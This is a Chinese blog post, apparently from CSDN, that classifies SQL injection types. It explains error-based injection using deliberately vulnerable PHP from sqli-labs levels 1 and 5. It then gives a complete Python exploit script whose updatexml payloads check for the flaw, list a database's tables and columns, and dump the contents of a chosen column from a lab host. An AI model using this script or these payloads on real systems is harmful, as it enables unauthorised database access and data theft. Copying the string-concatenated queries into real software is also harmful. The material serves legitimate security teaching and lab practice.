sql注入分类及报错注入EXP


前言

总结下sql注入分类的理解和报错注入产生原理,并编写EXP,本文需要你懂得一点Web编程的知识


一、sql注入分类

SQL注入是什么,在这片文章讲过了https://blog.csdn.net/weixin_45626840/article/details/116116188
分类需要有一个依据,不同依据产生不同的分类标准‘

注入点类型

这个也是常叫的说法,指的是所传参的数据类型,主要就是数字/字符,下面展示了前端传参的样式,以及后端接收到数据后的大概拼接的sql语句
数字型注入点

  • url:http://xxx.com/news.php?id=1
  • sql原型:select * from 表名 where id = 1

字符型注入点

  • http://xxx.com/news.php?name=admin
  • sql原型:select * from 表名 where name = ‘admin’(多了引号)

搜索型注入点

  • 数据搜索时没有过滤关键字
    • 链子地址中有keyword=关键字
    • 搜索框表单提交
  • sql原型:select * from 表名 where 字段 like ‘%关键字%’

数据提交方式

这个主要依据数据传参的方法/位置

  • GET注入
  • POST注入
  • Cookie注入
  • HTTP头部注入

执行效果

  • 基于报错的注入(有回显)
  • 基于布尔的盲注(无回显)
  • 基于时间的盲注(无回显)

这种分类依据执行后前端的回显效果,联合注入是最直接的,它会将执行的结果返回给前端,也就是说前端有位置可以看到结果(在php里通常就是echo会前端做结果展示)
报错注入也是有回显的,只不过不是直接回显查询的结果,而是触发错误后回显,稍后我们在详细分析它的成因。
盲注则是没有信息展示用于判断是否存在漏洞,我们可以利用其他信息依据作判断。

二、联合/报错注入原理分析(有回显)

代码分析

sqli-labs 第一关的部分源码

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; //拼接sql
$result=mysql_query($sql);   //传到数据库执行
$row = mysql_fetch_array($result);    //  获取执行结果

	if($row)
	{
  	echo "<font size='5' color= '#99FF00'>";  
  	echo 'Your Login name:'. $row['username']; //将查询结果echo回前端
  	echo "<br>";
  	echo 'Your Password:' .$row['password'];  //将查询结果echo回前端
  	echo "</font>";
  	}
	else 
	{
	echo '<font color= "#FFFF00">';
	print_r(mysql_error());   //将出错原因mysql_error() 回显前端
	echo "</font>";  
	}
}
	else { echo "Please input the ID as parameter with numeric value";}

通过前文的知识,我们知道sql拼接导致了sql注入,再加上后端代码将查询结果echo回来,使得我们可以直接返回注入语句的结果,直接可以联合注入

sqli-labs第5关 报错注入

部分代码如下:


$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

	if($row)
	{
  	echo '<font size="5" color="#FFFF00">';	
  	echo 'You are in...........'; //返回一个字符串,并无查询的结果
  	echo "<br>";
    	echo "</font>";
  	}
	else 
	{
	
	echo '<font size="3" color="#FFFF00">';
	print_r(mysql_error());    //返回了 mysql_error() !!!
	echo "</br></font>";	
	echo '<font color= "#0000ff" font size= 3>';	
	
	}
}
	else { echo "Please input the ID as parameter with numeric value";}    

和第1关对比,第5关的if($row)条件内并没返回执行结果,只是echo了一个字符串。但是!返回了mysql_error()这个函数的内容,也就是说,存在回显点!

逻辑分析

上面这两段代码都是很常见的业务逻辑,我们可以猜测程序员在写代码的时候,逻辑就是这样:

  1. 这个业务功能点需要返回查询结果,那么,我echo回去,展示给用户;
  2. 有可能执行出错喔,好,那我把错误内容echo回去
    很显然,mysql_error()的返回导致了报错注入的产生

三、EXP编写

构造好自己url和报错方式即可

import requests
import re
# 验证是否存在报错注入漏洞
url = "http://192.168.10.136/redteamblue/sqli.php?id=1"
check_payload = "and updatexml(1,concat(0x7e,\"awdadawdwdadadw\",0x7e),1)"
check_url = url + check_payload
check_resp = requests.get(check_url).text
if "awdadawdwdadadw" in check_resp:
    print("[+]error inject exists / 存在报错注入")
# 计算表名数目
table_count_payload = " and updatexml(1,concat(0x7e,(select count(table_name) from information_schema.tables where table_schema=database()),0x7e),3)"
table_count_url = url + table_count_payload
#print(table_count_url)
table_count_resp = requests.get(table_count_url).text

re_pattern = re.compile("~(.*)~")

table_count = re_pattern.findall(table_count_resp)
print("[+]number of table:" + table_count[0])
# 表名
for i in range(0,int(table_count[0])):
    table_payload = " and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit " + str(i) + ",1),0x7e),3)"
    table_url = url + table_payload
    #print(table_url)
    table_resp = requests.get(table_url).text
    table = re_pattern.findall(table_resp)

    print("[+]table:" + table[0])
# 计算 列/字段 数
table_choose = input("choose table name want to inject:")
column_count_payload = " and updatexml(1,concat(0x7e,(select count(column_name) from information_schema.columns where table_schema=database() and table_name = '{}'),0x7e),3)".format(table_choose)
column_count_url = url + column_count_payload
#print(column_count_url)
column_count_resp = requests.get(column_count_url).text
column_count = re_pattern.findall(column_count_resp)
# 爆列名
for i in range(0,int(column_count[0])):
    column_payload = " and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name = '{}' limit {},1),0x7e),3)".format(table_choose,str(i))
    column_url = url + column_payload
    #print(column_url)
    column_resp = requests.get(column_url).text

    column = re_pattern.findall(column_resp)
    print("[+]column:" + column[0])
# 计算行数
dump_choose = input("choose column name want to dump:")
dump_count_payload = " and updatexml(1,concat(0x7e,(select count({}) from {}),0x7e),3)".format(dump_choose,table_choose)
dump_count_url=  url + dump_count_payload
#print(dump_count_url)
dump_count_resp = requests.get(dump_count_url).text
#print(dump_count_resp)
dump_count = re_pattern.findall(dump_count_resp)
#print(dump_count[0])
# 拖库
for i in range(0,int(dump_count[0])):
    dump_payload = " and updatexml(1,concat(0x7e,(select {} from {} limit {},1),0x7e),3)".format(dump_choose,table_choose,str(i))
    dump_url = url + dump_payload
    #print(dump_url)
    dump_resp = requests.get(dump_url).text

    dump = re_pattern.findall(dump_resp)
    print("[+]data:" + dump[0])
  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值